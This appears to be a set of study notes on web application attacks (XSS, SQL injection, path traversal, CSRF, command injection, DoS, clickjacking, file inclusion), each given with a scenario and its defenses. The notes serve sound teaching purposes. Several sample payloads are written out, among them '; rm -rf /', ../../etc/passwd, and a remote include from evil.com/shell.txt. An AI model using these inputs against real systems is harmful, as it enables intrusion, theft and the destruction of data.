# **Web Application Attacks**

## **1. Confidentiality Attacks (steal secrets)**

### **Cross-Site Scripting (XSS)**

* **What:** Injecting malicious JavaScript into web pages.
* **Scenario:** Attacker posts <script>document.cookie</script> in a forum → steals session cookies.
* **Impact:** Session hijacking, account takeover.
* **Defense:** Input validation, output encoding, CSP, HttpOnly cookies.

### **SQL Injection (SQLi)**

* **What:** Injecting malicious SQL into queries.
* **Scenario:** Login field: admin' OR '1'='1 → bypass authentication.
* **Impact:** Database dumps, credential theft.
* **Defense:** Parameterized queries, stored procedures, input sanitization.

### **Directory Traversal (Path Traversal)**

* **What:** Manipulating file paths to access restricted data.
* **Scenario:** URL download.php?file=../../etc/passwd reveals system files.
* **Impact:** Leakage of sensitive configs.
* **Defense:** Sanitize file inputs, restrict directories, sandbox file access.

## **2. Integrity Attacks (tampering, unauthorized changes)**

### **Cross-Site Request Forgery (CSRF)**

* **What:** Forcing a logged-in user to perform unwanted actions.
* **Scenario:** Victim clicks hidden image link → transfers money without knowing.
* **Impact:** Unauthorized transactions, data modification.
* **Defense:** Anti-CSRF tokens, SameSite cookies, re-authentication for sensitive actions.

### **Command Injection**

* **What:** Web app passes input directly into OS commands.
* **Scenario:** Search box input ; rm -rf / deletes server files.
* **Impact:** Remote code execution, system control.
* **Defense:** Validate/whitelist inputs, avoid shell calls.

### **Parameter Tampering**

* **What:** Modifying hidden parameters or query strings.
* **Scenario:** URL cart?item=1&price=1 → attacker changes price to 0.01.
* **Impact:** Data corruption, fraud.
* **Defense:** Server-side validation, HMAC on parameters.

## **3. Availability Attacks (taking site down)**

### **Denial of Service (DoS/DDoS)**

* **What:** Overloading a web app with traffic.
* **Scenario:** Botnet floods login page with fake requests.
* **Impact:** Website crashes, service downtime.
* **Defense:** WAF, CDNs, rate limiting, load balancing.

### **Resource Exhaustion (Slowloris)**

* **What:** Holding connections open without finishing requests.
* **Scenario:** Attacker sends partial HTTP requests → server threads get stuck.
* **Impact:** Server freeze.
* **Defense:** Timeouts, reverse proxies.

## **4. Other Common Web Threats**

### **Session Hijacking**

* **What:** Stealing or predicting valid session IDs.
* **Scenario:** Attacker grabs cookie over unencrypted Wi-Fi.
* **Impact:** Full account takeover.
* **Defense:** TLS encryption, HttpOnly/Secure cookies, regenerate session IDs.

### **Clickjacking**

* **What:** Trick user into clicking hidden UI (iframe overlay).
* **Scenario:** Malicious page loads banking site in invisible iframe over a “Play” button.
* **Impact:** User unknowingly transfers money.
* **Defense:** X-Frame-Options header, CSP frame-ancestors.

### **File Inclusion (LFI/RFI)**

* **What:** Attacker includes local or remote files in a vulnerable web app.
* **Scenario:** URL page=../../../../etc/passwd or page=http://evil.com/shell.txt.
* **Impact:** Local file read, remote code execution.
* **Defense:** Disable remote includes, whitelist file paths.

## **Key Defenses (Web App Security Basics)**

* Input validation (sanitize all user input).
* Output encoding (escape before rendering to browser).
* Parameterized queries (stop SQLi).
* CSRF tokens & secure cookies.
* TLS everywhere (stop session hijacking).
* Security headers (CSP, X-Frame-Options, HSTS).
* WAF (Web Application Firewall) for layered defense.

**Summary Mental Model:**

* **Confidentiality → Steal data (SQLi, XSS, Traversal, Session Hijacking).**
* **Integrity → Tamper with actions (CSRF, Command Injection, Param Tampering).**
* **Availability → Take site down (DoS, Resource Exhaustion).**